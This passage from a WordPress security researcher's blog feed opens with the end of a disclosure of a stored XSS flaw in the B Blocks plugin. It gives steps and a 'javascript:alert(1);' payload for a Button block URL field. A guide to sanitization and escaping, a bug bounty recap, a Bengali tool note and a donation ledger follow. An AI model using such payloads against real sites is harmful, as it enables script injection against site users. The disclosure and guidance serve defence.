&lt;td&gt;2.0.5 (&lt;a href=&quot;https://downloads.wordpress.org/plugin/b-blocks.2.0.5.zip&quot;&gt;Download Here&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched Version&lt;/td&gt;
&lt;td&gt;2.0.6 (&lt;a href=&quot;https://downloads.wordpress.org/plugin/b-blocks.2.0.6.zip&quot;&gt;Download Here&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS &amp;amp; Severity&lt;/td&gt;
&lt;td&gt;Medium (6.5)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Attack Scenario&lt;/h2&gt;
&lt;h3&gt;Step 01:&lt;/h3&gt;
&lt;p&gt;As an administrator, install and activate the vulnerable plugin version 2.0.5.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Make sure that the Button block is enabled.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Step 02:&lt;/h3&gt;
&lt;p&gt;Now login as a contributor level user and create a new post in the Gutenberg editor. Then insert the Button block.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Step 03:&lt;/h3&gt;
&lt;p&gt;In the Button block settings, under URL input field, enter the following payload. Then click `Submit For Review`.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;javascript:alert(1);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The source code of the Button block after entering the URL:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- wp:b-blocks/button {&quot;url&quot;:&quot;javascript:alert(1);&quot;} /--&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 04:&lt;/h3&gt;
&lt;p&gt;Login as an administrator and preview the post. The payload will execute when you click the button.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Vulnerable Code&lt;/h2&gt;
&lt;p&gt;The vulnerable code is the react minified front-end code in the file &lt;code&gt;view.js&lt;/code&gt;&lt;br /&gt;
Path: &lt;code&gt;wp-content/plugins/b-blocks/build/button/view.js&lt;/code&gt;&lt;br /&gt;
Repo: &lt;a href=&quot;https://plugins.trac.wordpress.org/browser/b-blocks/tags/2.0.5/build/button/view.js&quot;&gt;https://plugins.trac.wordpress.org/browser/b-blocks/tags/2.0.5/build/button/view.js&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Patch&lt;/h2&gt;
&lt;p&gt;Link: &lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3340064/b-blocks/tags/2.0.6/readme.txt?old=3338803&amp;amp;old_path=b-blocks%2Ftags%2F2.0.5%2Freadme.txt&quot;&gt;https://plugins.trac.wordpress.org/changeset/3340064/b-blocks/tags/2.0.6/readme.txt?old=3338803&amp;amp;old_path=b-blocks%2Ftags%2F2.0.5%2Freadme.txt&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Report Submitted To Patchstack&lt;/th&gt;
&lt;th&gt;30 July, 2025&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Vendor Contacted&lt;/td&gt;
&lt;td&gt;04 August, 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patch Submitted&lt;/td&gt;
&lt;td&gt;06 August, 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Published&lt;/td&gt;
&lt;td&gt;14 August, 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;When processing user input for URL fields, always be careful of XSS payloads like: &lt;code&gt;javascript:alert(1);&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PHP Layer Security (Backend):&lt;/strong&gt; Use WordPress sanitization functions like &lt;code&gt;esc_url_raw()&lt;/code&gt; for database storage and &lt;code&gt;esc_url()&lt;/code&gt; for output.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Frontend JavaScript Security:&lt;/strong&gt; Sanitize URLs before rendering using browser APIs like &lt;code&gt;URL()&lt;/code&gt; constructor for validation, and implement client-side protocol filtering. Use &lt;code&gt;textContent&lt;/code&gt; instead of &lt;code&gt;innerHTML&lt;/code&gt; when possible, and if HTML insertion is necessary, employ DOM manipulation methods with proper escaping.&lt;/p&gt;
</content:encoded><atom:updated>2025-08-28T00:00:00.000Z</atom:updated><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>Escaping vs. Sanitization in WordPress: A Developer’s Guide</title><link>https://hurayraiit.com/blog/escaping-vs-sanitization-in-wordpress-a-developers-guide/</link><guid isPermaLink="true">https://hurayraiit.com/blog/escaping-vs-sanitization-in-wordpress-a-developers-guide/</guid><description>“Understand the difference between escaping and sanitization in WordPress — when to use each, practical PHP examples, and how both prevent XSS vulnerabilities.”</description><pubDate>Thu, 28 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you’ve worked with WordPress or PHP, you’ve probably heard people talk about “escaping” and “sanitization.” These two terms are often used interchangeably, but they are &lt;strong&gt;not the same thing&lt;/strong&gt;. They solve different problems at different stages of handling user input and output.&lt;/p&gt;
&lt;p&gt;In this guide, we’ll dive deeper into what they mean, why they’re important, and how to use them correctly with practical examples.&lt;/p&gt;
&lt;h2&gt;Why Does This Matter?&lt;/h2&gt;
&lt;p&gt;Most security issues in web applications boil down to one thing: &lt;strong&gt;trusting user input too much&lt;/strong&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;A visitor submits a form field.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;That input gets stored in your database.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Later, you display it on a page.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you don’t clean and escape that input, you’re essentially giving attackers the power to inject malicious code into your site — usually in the form of &lt;strong&gt;Cross-Site Scripting (XSS)&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;This is where &lt;strong&gt;sanitization&lt;/strong&gt; and &lt;strong&gt;escaping&lt;/strong&gt; come into play.&lt;/p&gt;
&lt;h2&gt;Sanitization: Cleaning Data at Input&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Sanitization&lt;/strong&gt; is about &lt;strong&gt;validating and cleaning data before it enters your system&lt;/strong&gt;. Think of it as your first line of defense: you check the user’s input, throw away what you don’t want, and only keep what you expect.&lt;/p&gt;
&lt;p&gt;For example, if your form asks for a username, you probably want only letters, numbers, and underscores. You don’t want HTML tags, JavaScript, or SQL keywords sneaking in.&lt;/p&gt;
&lt;h3&gt;PHP Example&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Raw user input
$username = $_POST[&apos;username&apos;] ?? &apos;&apos;;

// Allow only letters, numbers, underscores
$sanitized_username = preg_replace(&quot;/[^a-zA-Z0-9_]/&quot;, &quot;&quot;, $username);

update_option(&apos;site_username&apos;, $sanitized_username);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This ensures your database never stores &lt;code&gt;&amp;lt;script&amp;gt;alert(&quot;XSS&quot;)&amp;lt;/script&amp;gt;&lt;/code&gt; as a username.&lt;/p&gt;
&lt;h3&gt;WordPress Example&lt;/h3&gt;
&lt;p&gt;WordPress comes with &lt;a href=&quot;https://developer.wordpress.org/apis/security/sanitizing/&quot;&gt;built-in sanitization helpers&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Text fields
$username = sanitize_text_field($_POST[&apos;username&apos;]);

// Email field
$email = sanitize_email($_POST[&apos;email&apos;]);

// URL field
$url = esc_url_raw($_POST[&apos;website&apos;]); // note: esc_url_raw() is for input

update_option(&apos;user_name&apos;, $username);
update_option(&apos;user_email&apos;, $email);
update_option(&apos;user_website&apos;, $url);
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Rule of thumb:&lt;/strong&gt; Sanitize at the moment of receiving or saving input. Your database should only store &lt;strong&gt;clean values&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Escaping: Making Data Safe at Output&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Escaping&lt;/strong&gt; happens at the other end of the flow: when you’re about to display data to the browser. Escaping doesn’t change what you store in the database — instead, it makes sure dangerous characters don’t break out of your HTML, attributes, or JavaScript context.&lt;/p&gt;
&lt;p&gt;For example, if you want to output a comment in a web page, you don’t want the browser to interpret &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; as real code. Instead, it should be displayed as harmless text.&lt;/p&gt;
&lt;h3&gt;PHP Example&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Data pulled from database
$comment = $row[&apos;comment&apos;];

// Escape before sending to browser
echo htmlspecialchars($comment, ENT_QUOTES, &apos;UTF-8&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This converts &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; into &lt;code&gt;&amp;amp;lt;script&amp;amp;gt;&lt;/code&gt;, so the browser renders it as text instead of executing it.&lt;/p&gt;
&lt;h3&gt;WordPress Example&lt;/h3&gt;
&lt;p&gt;WordPress provides &lt;strong&gt;&lt;a href=&quot;https://developer.wordpress.org/apis/security/escaping/&quot;&gt;context-aware escaping functions&lt;/a&gt;&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Escape for HTML output
echo esc_html($comment_text);

// Escape for HTML attributes
echo &apos;&amp;lt;input type=&quot;text&quot; value=&quot;&apos; . esc_attr($username) . &apos;&quot;&amp;gt;&apos;;

// Escape for URLs
echo &apos;&amp;lt;a href=&quot;&apos; . esc_url($profile_url) . &apos;&quot;&amp;gt;Profile&amp;lt;/a&amp;gt;&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each of these functions ensures the value is safe &lt;strong&gt;for the context where it’s being used&lt;/strong&gt;. This is critical — escaping for HTML is different from escaping for an attribute or a JavaScript snippet.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Rule of thumb:&lt;/strong&gt; Escape data &lt;strong&gt;as late as possible&lt;/strong&gt;, right before you print it to the page.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;The Difference at a Glance&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Stage&lt;/th&gt;
&lt;th&gt;Sanitization&lt;/th&gt;
&lt;th&gt;Escaping&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;When&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;At input time (before saving to DB)&lt;/td&gt;
&lt;td&gt;At output time (before displaying to browser)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Goal&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Keep only valid, expected data&lt;/td&gt;
&lt;td&gt;Prevent unsafe data from executing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sanitize_text_field($_POST[&apos;username&apos;])&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;esc_html($username)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;What happens&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Removes unwanted data&lt;/td&gt;
&lt;td&gt;Converts special characters to safe versions&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Putting It Together: A Comment Form Example&lt;/h2&gt;
&lt;p&gt;Let’s say you have a simple comment form:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if ( isset($_POST[&apos;comment&apos;]) ) {
    // Step 1: Sanitize before saving
    $comment = sanitize_textarea_field($_POST[&apos;comment&apos;]);
    wp_insert_comment([
        &apos;comment_content&apos; =&amp;gt; $comment,
    ]);
}

// Step 2: Escape before output
$comments = get_comments();
foreach ( $comments as $c ) {
    echo &apos;&amp;lt;p&amp;gt;&apos; . esc_html($c-&amp;gt;comment_content) . &apos;&amp;lt;/p&amp;gt;&apos;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Input:&lt;/strong&gt; You clean the comment with &lt;code&gt;sanitize_textarea_field()&lt;/code&gt; before storing it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Output:&lt;/strong&gt; You escape with &lt;code&gt;esc_html()&lt;/code&gt; before displaying it.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This two-step defense means attackers can’t inject &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; into your site.&lt;/p&gt;
&lt;h2&gt;Common Mistakes to Avoid&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Escaping at input time&lt;/strong&gt;&lt;br /&gt;
Some developers escape before saving to the database. This is wrong because you may need the original value later (for APIs, formatting, etc.). Always sanitize at input and escape at output.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Not using context-specific escaping&lt;/strong&gt;&lt;br /&gt;
Escaping for HTML with &lt;code&gt;esc_html()&lt;/code&gt; is not the same as escaping for a URL with &lt;code&gt;esc_url()&lt;/code&gt;. Always pick the right function.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Double escaping&lt;/strong&gt;&lt;br /&gt;
If you escape twice, your content may look broken (&lt;code&gt;&amp;amp;amp;lt;script&amp;amp;amp;gt;&lt;/code&gt;). Escape once, right before output.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Best Practices Recap&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Sanitize early&lt;/strong&gt;: Clean input when it comes in.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Escape late&lt;/strong&gt;: Escape data when it goes out.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Use WordPress helpers&lt;/strong&gt;: Functions like &lt;code&gt;sanitize_text_field()&lt;/code&gt;, &lt;code&gt;sanitize_email()&lt;/code&gt;, &lt;code&gt;esc_html()&lt;/code&gt;, &lt;code&gt;esc_attr()&lt;/code&gt;, and &lt;code&gt;esc_url()&lt;/code&gt; are designed for these exact scenarios.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Context matters&lt;/strong&gt;: Always choose the right escaping function for where the data is being displayed.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Escaping and sanitization work together but serve different purposes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Sanitization protects your database and application logic.&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Escaping protects your users and the browser environment.&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Get into the habit of sanitizing &lt;strong&gt;all inputs&lt;/strong&gt; and escaping &lt;strong&gt;all outputs&lt;/strong&gt;. Once this becomes second nature, your WordPress code will be much safer and more robust against common attacks like XSS.&lt;/p&gt;
</content:encoded><atom:updated>2025-08-28T00:00:00.000Z</atom:updated><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>WordPress Security: My July 2025 CVE Contribution Recap</title><link>https://hurayraiit.com/blog/my-july-2025-contribution-to-wordpress-security/</link><guid isPermaLink="true">https://hurayraiit.com/blog/my-july-2025-contribution-to-wordpress-security/</guid><description>In July 2025, I reported 22 vulnerabilities across 21 WordPress plugins via Patchstack bug bounty, ranking 7th globally. Here is the full monthly summary.</description><pubDate>Tue, 26 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Alhamdulillah! In &lt;strong&gt;July 2025&lt;/strong&gt;, I had the opportunity to contribute to the security of the WordPress ecosystem by responsibly reporting vulnerabilities through the &lt;a href=&quot;https://patchstack.com/bug-bounty/&quot;&gt;Patchstack Bug Bounty Program&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Throughout the month, I identified and reported &lt;strong&gt;22 security vulnerabilities&lt;/strong&gt; across &lt;strong&gt;21 different WordPress plugins&lt;/strong&gt;. Each of these findings was responsibly disclosed so developers could address the issues before they posed any risk to millions of WordPress users worldwide.&lt;/p&gt;
&lt;p&gt;I also hold the &lt;strong&gt;16th position on the &lt;a href=&quot;https://patchstack.com/database/leaderboard/all&quot;&gt;All-Time Leaderboard&lt;/a&gt;&lt;/strong&gt; among top security researchers worldwide.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;📊 My July 2025 Stats&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Total Vulnerabilities Reported:&lt;/strong&gt; 22&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Total Plugins Affected:&lt;/strong&gt; 21&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Monthly Leaderboard Position:&lt;/strong&gt; &lt;a href=&quot;https://patchstack.com/database/leaderboard/july-2025&quot;&gt;7th Place&lt;/a&gt; 🎉&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can view my researcher profile and reports here: &lt;a href=&quot;https://patchstack.com/database/researcher/05e39d47-2033-440b-9565-c8a3f6aff559&quot;&gt;My Patchstack Profile&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Why This Matters&lt;/h3&gt;
&lt;p&gt;WordPress powers over 40% of the internet, and plugins are at the heart of its ecosystem. Unfortunately, a single overlooked vulnerability can open the door for attackers to compromise thousands of websites.&lt;/p&gt;
&lt;p&gt;By responsibly reporting vulnerabilities, I aim to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Strengthen the overall WordPress ecosystem.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Protect website owners and users from security threats.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Support plugin developers in improving their code.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Looking Ahead&lt;/h3&gt;
&lt;p&gt;Security research is an ongoing journey. I’ll continue exploring the WordPress ecosystem, reporting vulnerabilities, and contributing to the global effort of making the web a safer place inShaAllah.&lt;/p&gt;
</content:encoded><atom:updated>2025-08-26T00:00:00.000Z</atom:updated><category>wordpress</category><category>security</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>Vibium - টেস্ট অটোমেশনের নতুন টুল?</title><link>https://hurayraiit.com/blog/vibium-new-test-automation-tool/</link><guid isPermaLink="true">https://hurayraiit.com/blog/vibium-new-test-automation-tool/</guid><description>Vibium হলো Selenium-এর প্রতিষ্ঠাতার নতুন AI-নেটিভ টেস্ট অটোমেশন ফ্রেমওয়ার্ক — প্লেইন ইংলিশে টেস্ট লেখার সুবিধা ও সেলফ-হিলিং ফিচার নিয়ে বিস্তারিত।</description><pubDate>Tue, 26 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;আর্টিফিশিয়াল ইন্টেলিজেন্স এবং লার্জ ল্যাঙ্গুয়েজ মডেলগুলোর প্রচলন হওয়ার পর থেকে টেক সেক্টর প্রচুর পরিবর্তনের মধ্যে দিয়ে যাচ্ছে। ডেভেলপমেন্টের পাশাপাশি টেস্টিং সাইডেও একের পর এক নতুন টুল আসছে প্রতিদিন।&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://playwright.dev/&quot;&gt;মাইক্রোসফট প্লেরাইট&lt;/a&gt; এর বিগত রিলিসগুলো খেয়াল করলে বোঝা যাবে যে তারা বর্তমানে মূল ফোকাস দিচ্ছে AI এসিস্টেড টেস্টিং এর প্রতি। কিভাবে গিটহাব কোপাইলট দিয়ে ন্যাচারাল ল্যাঙ্গুয়েজ ব্যবহার করে অটোমেশন টেস্টিং করা যায়, টেস্ট লেখার কাজ আরও সহজ করা যায়, ইত্যাদি নিয়ে কাজ চলছে।&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.selenium.dev/&quot;&gt;সেলেনিয়াম&lt;/a&gt; ও &lt;a href=&quot;https://appium.io/docs/en/latest/&quot;&gt;এপিয়াম&lt;/a&gt; বর্তমানে টেস্ট অটোমেশন সেক্টরে অনেক পপুলার। এই দুইটির প্রতিষ্ঠাতা &lt;a href=&quot;https://www.linkedin.com/in/jrhuggins/&quot;&gt;Jason Huggins&lt;/a&gt; (LinkedIn Profile) তার লিঙ্কডইন প্রোফাইল জানিয়েছেন যে তিনি নতুন একটি টুল তৈরি করার পরিকল্পনা করছেন যার নাম হবে Vibium. (&lt;a href=&quot;https://www.linkedin.com/feed/update/urn:li:activity:7358353184852979713/&quot;&gt;LinkedIn Post&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;এটি একটি ওপেন সোর্স, AI নেটিভ টেস্ট অটোমেশন ফ্রেমওয়ার্ক যেটা দিয়ে ন্যাচারাল ল্যাঙ্গুয়েজ ব্যবহার করে টেস্ট অটোমেশন করা যাবে এবং ফ্লেকি টেস্টের জন্য থাকবে সেলফ হিলিং ফিচার।&lt;/p&gt;
&lt;p&gt;তিনি বলছেন:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;vibium lets you write your tests in plain english. self-healing will be a huge part of this. no more brittle locators. no more flaky tests.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;বিস্তারিত জানতে আরও অপেক্ষা করতে হবে।&lt;/p&gt;
</content:encoded><atom:updated>2025-08-26T00:00:00.000Z</atom:updated><category>sqa</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>Masjid Fundraising: How to Give Sadaqah Jariyah</title><link>https://hurayraiit.com/blog/sadakah-jariya-for-a-mashjid/</link><guid isPermaLink="true">https://hurayraiit.com/blog/sadakah-jariya-for-a-mashjid/</guid><description>মসজিদের জন্য সাদাকায়ে জারিয়া ফান্ডরেইজিং — সর্বমোট ২,২০,০২০ টাকা সংগ্রহের বিবরণ এবং কীভাবে এই ক্যাম্পেইনে অংশ নেওয়া যায় তার তথ্য।</description><pubDate>Thu, 14 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
&lt;p&gt;বিসমিল্লাহ, ওয়ালহামদুলিল্লাহ, ওয়াসসালাতু ওয়াসসালামু আলা রসুলুল্লাহ।&lt;/p&gt;
&lt;p&gt;In the name of Allah, all praise is due to Allah, and peace and blessings be upon the Messenger of Allah.&lt;/p&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;h4&gt;সর্বমোট সাদাকাহ সংগ্রহ হয়েছেঃ&lt;/h4&gt;
    &lt;p&gt;BDT 2,20,020/=&lt;/p&gt;
  &lt;/div&gt;
  &lt;div&gt;
    &lt;h4&gt;আমার হাতে আছে:&lt;/h4&gt;
    &lt;p&gt;BDT 2000/=&lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;hr /&gt;
&lt;h3&gt;সাদাকায়ে জারিয়ায় অংশগ্রহণের উপায়&lt;/h3&gt;

  &lt;b&gt;bKash&lt;/b&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;পার্সোনাল বিকাশ নাম্বারঃ 01558987890&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;


  &lt;b&gt;Rocket&lt;/b&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;পার্সোনাল রকেট নাম্বারঃ 01558987890&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;


&lt;p&gt;&lt;code&gt;Note: After sending your donations, please give me a text for confirmation.&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;যারা সাদাকাহ পাঠিয়েছেনঃ&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;th&gt;Trxid&lt;/th&gt;
&lt;th&gt;Account&lt;/th&gt;
&lt;th&gt;Amount (BDT)&lt;/th&gt;
&lt;th&gt;Cumulative&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;06-05-2026&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;Kxxx&lt;/td&gt;
&lt;td&gt;2000&lt;/td&gt;
&lt;td&gt;2,20,020&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;02-04-2026&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;2000&lt;/td&gt;
&lt;td&gt;2,18,020&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15-03-2026&lt;/td&gt;
&lt;td&gt;Cash&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;2,16,020&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14-03-2026&lt;/td&gt;
&lt;td&gt;Cash&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;400&lt;/td&gt;
&lt;td&gt;2,15,620&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12-03-2026&lt;/td&gt;
&lt;td&gt;Cash&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;2,15,420&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11-03-2026&lt;/td&gt;
&lt;td&gt;Cash&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;2,15,220&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10-03-2026&lt;/td&gt;
&lt;td&gt;SCB&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;2,15,020&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22-01-2026&lt;/td&gt;
&lt;td&gt;SCB&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;xxxx&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;2,14,820&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16-01-2026&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;DAG66VNSZ8&lt;/td&gt;
&lt;td&gt;016******92&lt;/td&gt;
&lt;td&gt;5,000&lt;/td&gt;
&lt;td&gt;2,14,320&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16-01-2026&lt;/td&gt;
&lt;td&gt;bKash&lt;/td&gt;
&lt;td&gt;DAG86VJDCC&lt;/td&gt;
&lt;td&gt;017******92&lt;/td&gt;
&lt;td&gt;10,000&lt;/td&gt;
&lt;td&gt;2,09,320&lt;/td&gt;
